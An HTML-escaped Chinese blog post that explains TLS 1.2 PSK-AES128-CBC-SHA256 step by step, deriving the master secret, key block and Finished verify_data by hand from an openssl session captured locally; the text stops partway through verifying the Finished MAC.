&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;6369096&#x2F;how-to-read-the-certificates-file-from-the-pkcs7-p7b-certificate-file-usind-open&quot;&gt;how to Read the certificates file from the PKCS7.p7b certificate file usind openssl?&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;2559103&#x2F;regarding-pkcs7-x509-and-der&quot;&gt;Regarding: PKCS7, X509 and DER&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;拓展阅读:&lt;&#x2F;strong&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;androidcracking.blogspot.com&#x2F;2010&#x2F;12&#x2F;getting-apk-signature-outside-of.html&quot;&gt;getting apk signature outside of android&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue33-tls-pskxie-yi-fen-xi&quot;&gt;Issue33 TLS-PSK协议分析&lt;&#x2F;h2&gt;
&lt;p&gt;本文通过一个演示例子讲解基于PSK( Pre-Shared Key，预共享密钥)的TLS(Transport Layer Security)协议是如何加密及计算MAC的，对于想要实现TLS-PSK Server及client的读者应该有所帮助。&lt;&#x2F;p&gt;
&lt;p&gt;在演示例子中，客户端与服务端使用TLS1.2及PSK-AES128-CBC-SHA256密码套件进行交互，客户端发送&quot;hi server\n&quot;，服务端响应&quot;hi client\n&quot;，然后正常终止连接&lt;&#x2F;p&gt;
&lt;p&gt;准备工作&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;运行tcpdump，将后续捕获到的TLS数据保存到文件&lt;&#x2F;li&gt;
&lt;li&gt;使用openssl client与openssl server建立TLS-PSK连接&lt;&#x2F;li&gt;
&lt;li&gt;使用Wireshark解析TLS数据&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;运行tcpdump，将后续捕获到的TLS数据保存到文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;抓取本地4433端口流量并保存到tls_psk.pcap文件&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ tcpdump port 4433 -i lo -w tls_psk.pcap
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;这里抓取的端口要与TLS server监听的端口一致&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;使用openssl client与openssl server建立TLS-PSK连接&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用openssl server启动一个TLS  server&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ openssl s_server -cipher PSK-AES128-CBC-SHA256 -tls1_2 -nocert -no_ticket -psk_identity my_psk_id -psk 000102030405060708090A0B0C0D0E0F
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;-nocert表示不使用证书，这是PSK与PKI(Public Key Infrastructure)的一个区别&lt;&#x2F;p&gt;
&lt;p&gt;-no_ticket用于disable session ticket，session ticket可以优化握手效率，但会复杂化首次握手的流程，所以不启用&lt;&#x2F;p&gt;
&lt;p&gt;默认监听4433端口&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;使用openssl client与server建立TLS连接&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ openssl s_client -cipher PSK-AES128-CBC-SHA256 -tls1_2 -psk_identity my_psk_id -psk 000102030405060708090A0B0C0D0E0F
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;使用Wireshark解析TLS数据&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;运行Wireshark，打开tls_psk.cap文件，为了Wireshark能够解析密文，还需要配置Pre-Shared Key，点击编辑 -&amp;gt; 首选项 -&amp;gt; Protocols -&amp;gt; TLS，在Pre-Shared Key中输入密钥值000102030405060708090A0B0C0D0E0F&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在TLS配置页面可以顺便选择TLS debug file，该功能会将Wireshark解析TLS的一些过程数据比如master secret，key block等保存到文件中，方便我们比对计算结果排查问题，非常有用&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;最终得到TLS数据如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Client Hello&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;16 03 01 00 7d 01 00 00 79 03 03 36 9e 43 08 87 60 b8 b1 e0 61 cd d8 1f 4b ab 5e e1 38 08 c2 d9 d5 50 9d 92 61 3e af 62 55 f6 be 00 00 04 00 ae 00 ff 01 00 00 4c 00 00 00 0e 00 0c 00 00 09 6c 6f 63 61 6c 68 6f 73 74 00 23 00 00 00 16 00 00 00 17 00 00 00 0d 00 2a 00 28 04 03 05 03 06 03 08 07 08 08 08 09 08 0a 08 0b 08 04 08 05 08 06 04 01 05 01 06 01 03 03 03 01 03 02 04 02 05 02 06 02&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Server Hello&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;16 03 03 00 59 02 00 00 55 03 03 c5 b4 a2 ca 4e fb 20 21 74 75 fc 9f 91 78 38 ee 47 30 74 8f 8e d9 e4 56 a9 bf 94 0d 55 eb cb 22 20 9e e6 cb c2 77 ad db 29 05 52 eb ce 60 81 fa 71 43 63 5b 9b c9 31 84 f0 88 09 dc d0 21 8a ff 48 00 ae 00 00 0d ff 01 00 01 00 00 16 00 00 00 17 00 00&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Server Hello Done&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;16 03 03 00 04 0e 00 00 00&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Client Key Exchange&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;16 03 03 00 0f 10 00 00 0b 00 09 6d 79 5f 70 73 6b 5f 69 64&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Client Change Cipher Spec&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;14 03 03 00 01 01&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Client Finished&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;16 03 03 00 50 98 9c 70 7f 7b b2 d1 9d 38 70 c1 b0 81 8d 60 97 07 cd 28 0b 61 64 bf ae 46 08 22 90 34 56 82 3a 5e b4 4a e0 51 bd df 9b 34 44 92 67 1b 6c 22 44 60 92 03 e8 d4 f7 09 12 37 56 30 b7 ae 1f 7b 67 58 d5 72 ce 4e 36 89 a6 5a 90 d3 15 2f 53 1a 6c&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Server Change Cipher Spec&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;14 03 03 00 01 01&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Server Finished&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;16 03 03 00 50 41 54 6e f1 7a 2a 3f 1d 0f 26 29 95 7f ba 0a f2 d8 4b 4a 9a c5 b3 b4 71 2e ef 70 fa 39 17 5e cc 90 9f 33 16 c2 e3 ad 4a 3c 95 f1 fe 90 cd cc a1 98 d8 7c 0a b4 d6 50 3a fa 6a 16 f5 6e ff 06 77 a7 f4 66 db d2 fb b4 be cf 8d 7b c8 7c 78 78 71&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Client Application Data&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;17 03 03 00 40 19 77 d0 be 1f b4 83 f9 53 6d 8c f5 06 05 b3 10 e9 98 68 ed bf 30 93 e1 74 cc 22 3a 3b 31 a3 93 26 e2 0c 1c c3 c8 eb d9 f6 ec 11 5a b5 a1 bd 65 7c 28 e4 5b 0d c5 08 65 b7 f3 4a 93 91 83 8a 3a&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Server Application Data&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;17 03 03 00 40 07 80 69 09 82 fd c3 7f 28 18 81 ad 78 4b 78 45 12 fb 47 ca 97 60 a2 50 65 32 97 d4 9e 2c 65 48 2a e3 f3 2b 3b d1 82 6c 30 e1 e8 45 46 32 e0 ca b0 40 96 26 98 fc 4f db d4 c2 33 23 10 a8 6c f3&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Alert(Client Close Notify)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;15 03 03 00 40 4f aa 08 0c ec c9 19 a0 87 e5 8d f8 69 49 70 54 ac bf 46 58 d5 76 18 1e 22 77 57 1b 86 9d 03 c5 b5 4d 7b 2b a1 e8 29 00 07 23 41 be e6 ad c0 23 61 ec b6 d3 83 dd 0f ed 06 43 c5 03 c9 89 4c ac&lt;&#x2F;p&gt;
&lt;p&gt;消息数据的每个字节含义在wireshark中已提示得很清晰，就不一一解释了，本文演示例子抓包的数据文件可以点击&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;raw&#x2F;master&#x2F;assets&#x2F;TLS-PSK%E5%8D%8F%E8%AE%AE%E5%88%86%E6%9E%90&#x2F;tls_psk.pcap&quot;&gt;tls_psk.pcap&lt;&#x2F;a&gt;下载，方便跟着文章一步一步计算&lt;&#x2F;p&gt;
&lt;p&gt;这里重点关注加解密这一块，接下来将还原Finished，Application Data及Alert消息的密文构造过程&lt;&#x2F;p&gt;
&lt;p&gt;从Client Hello及Server Hello消息可知&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;协商的TLS版本为1.2&lt;&#x2F;li&gt;
&lt;li&gt;协商的密码套件为PSK-AES128-CBC-SHA256&lt;&#x2F;li&gt;
&lt;li&gt;client random = 369e43088760b8b1e061cdd81f4bab5ee13808c2d9d5509d92613eaf6255f6be&lt;&#x2F;li&gt;
&lt;li&gt;server random = c5b4a2ca4efb20217475fc9f917838ee4730748f8ed9e456a9bf940d55ebcb22&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;并且协商使用了下面这两个扩展(extension)&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;encrypt-then-mac extension，参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc7366&quot;&gt;RFC7366&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;extended master secret extension，参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc7627&quot;&gt;RFC7627&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这两个扩展要重点关注，他们改变了&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc5246&quot;&gt;RFC5246&lt;&#x2F;a&gt;中定义的TLS1.2协议的默认行为&lt;&#x2F;p&gt;
&lt;p&gt;首先计算master secret，要特别注意的是例子中使用了extended master secret extension，要参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc7627#section-4&quot;&gt;rfc7627#section-4&lt;&#x2F;a&gt;而非&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc5246&quot;&gt;RFC5246&lt;&#x2F;a&gt;，rfc7627定义如下&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;master_secret = PRF(pre_master_secret, &amp;quot;extended master secret&amp;quot;,
				session_hash)[0..47];
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;session_hash定义在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc7627#section-3&quot;&gt;RFC7627#section-3&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;When a full TLS handshake takes place, we define&lt;&#x2F;p&gt;
&lt;p&gt;session_hash = Hash(handshake_messages)&lt;&#x2F;p&gt;
&lt;p&gt;where &quot;handshake_messages&quot; refers to all handshake messages sent or received, starting at the ClientHello up to and including the ClientKeyExchange message, including the type and length fields of the handshake messages.  This is the concatenation of all the exchanged Handshake structures, as defined in Section 7.4 of [RFC5246].&lt;&#x2F;p&gt;
&lt;p&gt;For TLS 1.2, the &quot;Hash&quot; function is the one defined in Section 7.4.9 of [RFC5246] for the Finished message computation.  For all previous versions of TLS, the &quot;Hash&quot; function computes the concatenation of MD5 and SHA1.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;PSK的premaster secret定义在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc4279#section-2&quot;&gt;RFC4279#section-2&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The premaster secret is formed as follows: if the PSK is N octets  long, concatenate a uint16 with the value N, N zero octets, a second uint16 with the value N, and the PSK itself.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;PRF(Pseudorandom Function)定义在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc5246#section-5&quot;&gt;RFC5246#section-5&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;PRF(secret, label, seed) = P_\&amp;lt;hash&amp;gt;(secret, label + seed)

P_hash(secret, seed) = HMAC_hash(secret, A(1) + seed) +
                       HMAC_hash(secret, A(2) + seed) +
                       HMAC_hash(secret, A(3) + seed) + ...
where + indicates concatenation.
A() is defined as:
  A(0) = seed
  A(i) = HMAC_hash(secret, A(i-1))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;针对密码套件PSK-AES128-CBC-SHA256，PRF使用的hash算法为SHA256，在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc5487#section-3.1&quot;&gt;RFC5487#section-3.1&lt;&#x2F;a&gt;中描述&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;CipherSuite TLS_PSK_WITH_AES_128_CBC_SHA256 = {0x00,0xAE};
CipherSuite TLS_PSK_WITH_AES_256_CBC_SHA384 = {0x00,0xAF};
CipherSuite TLS_PSK_WITH_NULL_SHA256 = {0x00,0xB0};
CipherSuite TLS_PSK_WITH_NULL_SHA384 = {0x00,0xB1};&lt;&#x2F;p&gt;
&lt;p&gt;The above four cipher suites are the same as the corresponding cipher suites in RFC 4279 and RFC 4785 (with names ending in &quot;_SHA&quot; in place of &quot;_SHA256&quot; or &quot;_SHA384&quot;), except for the hash and PRF algorithms, as explained below.&lt;&#x2F;p&gt;
&lt;p&gt;o  For cipher suites with names ending in &quot;_SHA256&quot;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  \*  The MAC is HMAC [RFC2104] with SHA-256 as the hash function.

  \* When negotiated in a version of TLS prior to 1.2, the PRF from that version is used; otherwise, the PRF is the TLS PRF [RFC5246] with SHA-256 as the hash function.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;有了规范依据后，接下来代入实际数据进行计算&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;###### 计算premaster secret ######
premaster secret  = 0010 + 00000000000000000000000000000000 + 0010 + 000102030405060708090A0B0C0D0E0F = 0010000000000000000000000000000000000010000102030405060708090A0B0C0D0E0F

###### 计算sessIon_hash(handshake_messages) ######
handshake_messages是client hello ~ ClientKeyExchange之间所有content type为handshake(0x16)的消息的拼接，在上述例子即client hello, server hello, server hello done, client key exchange 这4个消息，change cipher spec的content type不是handshake因此不包含，需要注意这里拼接的每个handshake message不包含record layer headers，即最开始的ContentType，ProtocolVersion及length这几个参数

handshake_messages = client hello + server hello + sever hello done + client key exchange = 010000790303369e43088760b8b1e061cdd81f4bab5ee13808c2d9d5509d92613eaf6255f6be00000400ae00ff0100004c0000000e000c0000096c6f63616c686f7374002300000016000000170000000d002a0028040305030603080708080809080a080b080408050806040105010601030303010302040205020602020000550303c5b4a2ca4efb20217475fc9f917838ee4730748f8ed9e456a9bf940d55ebcb22209ee6cbc277addb290552ebce6081fa7143635b9bc93184f08809dcd0218aff4800ae00000dff0100010000160000001700000e0000001000000b00096d795f70736b5f6964

session_hash = SHA256(handshake_messages) = d08e6ed25877545d37396ff946bc0c2c9a99b74732ec025bce300814a42e0ff7

###### 计算master secret ######
A(0) = seed = &amp;quot;extended master secret&amp;quot; + session_hash = 657874656E646564206D617374657220736563726574d08e6ed25877545d37396ff946bc0c2c9a99b74732ec025bce300814a42e0ff7
A(1) = HMAC_SHA256(pre_master_secret, A(0)) = ad934828a4ed92206f0c1697ec010458eac51f2fa632a534e35b210bc5804e20
A(2) = HMAC_SHA256(pre_master_secret, A(1)) = ee7461a8253437d4bce063e2aded9cc4d5b654025dbaf671d504fbf7814b7637

HMAC_SHA256(pre_master_secret, A(1) + seed) = 499404bc28ade1b35d0a7a4a946e7c0459b15531e1dd5aa208f2752361afb96b
HMAC_SHA256(pre_master_secret, A(2) + seed) = f5b8b08057b01bd1b9b8dc862490f9336e8ad8a69804ae05b35d340c611b6518

master secret = PRF(pre_master_secret, seed)[0..47] = P_hash(pre_master_secret, seed)[0..47] = HMAC_SHA256(pre_master_secret, A(1) + seed)[all 32 bytes] + HMAC_SHA256(pre_master_secret, A(2) + seed)[0..15]

至此可得到48字节的master secret = 499404bc28ade1b35d0a7a4a946e7c0459b15531e1dd5aa208f2752361afb96bf5b8b08057b01bd1b9b8dc862490f933
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来计算client&#x2F;server的write key及mac key，需要先生成key block，定义在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc5246#section-6.3&quot;&gt;RFC5246#section-6.3&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;key_block = PRF(SecurityParameters.master_secret,
                &amp;quot;key expansion&amp;quot;,
                SecurityParameters.server_random +
                SecurityParameters.client_random);

until enough output has been generated.  Then, the key_block is partitioned as follows:

client_write_MAC_key[SecurityParameters.mac_key_length]
server_write_MAC_key[SecurityParameters.mac_key_length]
client_write_key[SecurityParameters.enc_key_length]
server_write_key[SecurityParameters.enc_key_length]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;根据&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc5246#appendix-C&quot;&gt;RFC5246#appendix-C&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;                      Key      IV   Block
Cipher        Type    Material  Size  Size
------------  ------  --------  ----  -----
NULL          Stream      0       0    N&amp;#x2F;A
RC4_128       Stream     16       0    N&amp;#x2F;A
3DES_EDE_CBC  Block      24       8      8
AES_128_CBC   Block      16      16     16
AES_256_CBC   Block      32      16     16

MAC       Algorithm    mac_length  mac_key_length
--------  -----------  ----------  --------------
NULL      N&amp;#x2F;A              0             0
MD5       HMAC-MD5        16            16
SHA       HMAC-SHA1       20            20
SHA256    HMAC-SHA256     32            32

Key Material
  The number of bytes from the key_block that are used for generating the write keys.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;可知PSK-AES128-CBC-SHA256密码套件的enc_key_length为16字节，mac_key_length为32字节&lt;&#x2F;p&gt;
&lt;p&gt;因此key_block至少需要 2 * 32 + 2 * 16 = 96字节，P_hash需要迭代3次生成96字节数据&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;###### 计算key block ######

A(0) = seed = &amp;quot;key expansion&amp;quot;, server_random + client_random = 6B657920657870616E73696F6Ec5b4a2ca4efb20217475fc9f917838ee4730748f8ed9e456a9bf940d55ebcb22369e43088760b8b1e061cdd81f4bab5ee13808c2d9d5509d92613eaf6255f6be
A(1) = HMAC_SHA256(master_secret, A(0)) = 2974a1366b2acfae12ae915c5e22cff27c68c19135a0e9d4c4c60c9530690861
A(2) = HMAC_SHA256(master_secret, A(1)) = 309cc823366446903ffd3e6147f1fd3f44a991685def09fc51feeee88ad468a3
A(3) = HMAC_SHA256(master_secret, A(2)) = 5783e391ea9f845fe698a4a48a9846700ffb64c60b72fd408d09c68f3929513a

HMAC_hash(master_secret, A(1) + seed) =
1ae8a34eaeee0c7a2023ebdc307427736ca15a69f76e933f10f7bdd6c7ea4ac1
HMAC_hash(master_secret, A(2) + seed) =
af14436461232f2786d91eaf9ea2465e20cb7f7ea796fd9a3cbeac872f3a5276
HMAC_hash(master_secret, A(3) + seed) =
2b492656fc20fc2b103fc49e707bd65826203fabe4fe7aa49f18e4d66a5189fc

key_block = PRF(master_secret, seed) = P_SHA256(master_secret, seed) = HMAC_SHA256(master_secret, A(1) + seed) + HMAC_SHA256(master_secret, A(2) + seed) + HMAC_SHA256(master_secret, A(3) + seed)

得到key_block = 1ae8a34eaeee0c7a2023ebdc307427736ca15a69f76e933f10f7bdd6c7ea4ac1af14436461232f2786d91eaf9ea2465e20cb7f7ea796fd9a3cbeac872f3a52762b492656fc20fc2b103fc49e707bd65826203fabe4fe7aa49f18e4d66a5189fc

client_write_MAC_key[32] = 1ae8a34eaeee0c7a2023ebdc307427736ca15a69f76e933f10f7bdd6c7ea4ac1
server_write_MAC_key[32] = af14436461232f2786d91eaf9ea2465e20cb7f7ea796fd9a3cbeac872f3a5276
client_write_key[16] = 2b492656fc20fc2b103fc49e707bd658
server_write_key[16] = 26203fabe4fe7aa49f18e4d66a5189fc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;到这里，用于加密及计算MAC的密钥已经得到了&lt;&#x2F;p&gt;
&lt;p&gt;接下来解析finished message，还是先介绍理论依据，根据&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc5246#section-7.4.9&quot;&gt;RFC5246#section-7.4.9&lt;&#x2F;a&gt;，Finished message定义如下，包含了12字节的verify_data&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;struct {
  opaque verify_data[verify_data_length];
} Finished;

verify_data
  PRF(master_secret, finished_label, Hash(handshake_messages))
  [0..verify_data_length-1];

finished_label
  For Finished messages sent by the client, the string &amp;quot;client finished&amp;quot;.  For Finished messages sent by the server, the string &amp;quot;server finished&amp;quot;.

Any cipher suite which does not explicitly specify verify_data_length has a verify_data_length equal to 12

the Hash MUST be the Hash used as the basis for the PRF

All of the data from all messages in this handshake (not including any HelloRequest messages) up to, but not including, this message.  This is only data visible at the handshake layer and does not include record layer headers.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;接下来介绍TLS-PSK是如何对消息进行MAC的计算及加密的，需要特别注意的是上述例子client与server协商使用了encrypt-then-mac extension，MAC的计算需要参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc7366#section-3&quot;&gt;RFC7366#section-3&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;Once the use of encrypt-then-MAC has been negotiated, processing of TLS&amp;#x2F;DTLS packets switches from the standard:

encrypt( data || MAC || pad )

to the new:

encrypt( data || pad ) || MAC

with the MAC covering the entire packet up to the start of the MAC value.
for TLS 1.1 and greater with an explicit IV is:

MAC(MAC_write_key, seq_num +
    TLSCipherText.type +
    TLSCipherText.version +
    TLSCipherText.length +
    IV +
    ENC(content + padding + padding_length));

The overall TLS packet is then:
struct {
       ContentType type;
       ProtocolVersion version;
       uint16 length;
       GenericBlockCipher fragment;
       opaque MAC;
} TLSCiphertext;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;sequence number见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc5246#section-6.1&quot;&gt;RFC5246#section-6.1&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;sequence number
Each connection state contains a sequence number, which is maintained separately for read and write states.  The sequence number MUST be set to zero whenever a connection state is made the active state.  Sequence numbers are of type uint64 and may not exceed 2^64-1.  Sequence numbers do not wrap.  If a TLS implementation would need to wrap a sequence number, it must renegotiate instead.  A sequence number is incremented after each  record: specifically, the first record transmitted under a particular connection state MUST use sequence number 0.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;个人理解简单来说就是一个8字节的值，初始值为0，client及server针对接收和发送消息都维护自己的两个sequence number，每次接收消息后read sequence number + 1，每次发送消息后write sequence number+1&lt;&#x2F;p&gt;
&lt;p&gt;而加密规则还是需要参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc5246#section-6.2.3&quot;&gt;RFC5246#section-6.2.3&lt;&#x2F;a&gt;，要注意GenericBlockCipher中的MAC计算以RFC7366规范为准&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;struct {
	ContentType type;
	ProtocolVersion version;
	uint16 length;
	select (SecurityParameters.cipher_type) {
		case stream: GenericStreamCipher;
		case block:  GenericBlockCipher;
		case aead:   GenericAEADCipher;
	} fragment;
} TLSCiphertext;

struct {
    opaque IV[SecurityParameters.record_iv_length];
    block-ciphered struct {
        opaque content[TLSCompressed.length];
        opaque MAC[SecurityParameters.mac_length];
        uint8 padding[GenericBlockCipher.padding_length];
        uint8 padding_length;
	};
} GenericBlockCipher;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;接下来代入具体数值还原client finished message&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;###### 计算verify data ######

handshake_messages = client hello + client hello + server hello + server hello done + client key exchange =
010000790303369e43088760b8b1e061cdd81f4bab5ee13808c2d9d5509d92613eaf6255f6be00000400ae00ff0100004c0000000e000c0000096c6f63616c686f7374002300000016000000170000000d002a0028040305030603080708080809080a080b080408050806040105010601030303010302040205020602020000550303c5b4a2ca4efb20217475fc9f917838ee4730748f8ed9e456a9bf940d55ebcb22209ee6cbc277addb290552ebce6081fa7143635b9bc93184f08809dcd0218aff4800ae00000dff0100010000160000001700000e0000001000000b00096d795f70736b5f6964

SHA256(handshake_messages) = d08e6ed25877545d37396ff946bc0c2c9a99b74732ec025bce300814a42e0ff7

A(0) = seed = &amp;quot;client finished&amp;quot; + SHA256(handshake_messages) = 636C69656E742066696E6973686564d08e6ed25877545d37396ff946bc0c2c9a99b74732ec025bce300814a42e0ff7
A(1) = HMAC_SHA256(master_secret, A(0)) = 44486e65f5bec93fa356cb38d09e0186bf7e5d9176f2021a79239ac1762e2158

HMAC_SHA256(master_secret, A(1) + seed) = b776a81f5cb028809bf74714e1bda48063764d61b56b8ef6c9a1186958f18092

verify_data = PRF(master_secret, seed)[0..11] = P_SHA256(master_secret, seed)[0..11] = HMAC_SHA256(master_secret, A(1) + seed)[0..11] = b776a81f5cb028809bf74714

###### 校验MAC ######

client finisded message
16 03 03 00 50 98 9c 70 7f 7b b2 d1 9d 38 70 c1 b0 81 8d 60 97 07 cd 28 0b 61 64 bf ae 46 08 22 90 34 56 82 3a 5e b4 4a e0 51 bd df 9b 34 44 92 67 1b 6c 22 44 60 92 03 e8 d4 f7 09 12 37 56 30 b7 ae 1f 7b 67 58 d5 72 ce 4e 36 89 a6 5a 90 d3 15 2f 53 1a 6c

由引用的规范说明可知finished message的fragment由IV，block-ciphered text，MAC三部分组成，因此其中密文部分组成如下
iv: 989c707f7bb2d19d3870c1b0818d6097
block-ciphered text: 07cd280b6164bfae460822903456823a5eb44ae051bddf9b344492671b6c2244
mac: 609203e8d4f70912375630b7ae1f7b6758d572ce4e3689a65a90d3152f531a6c

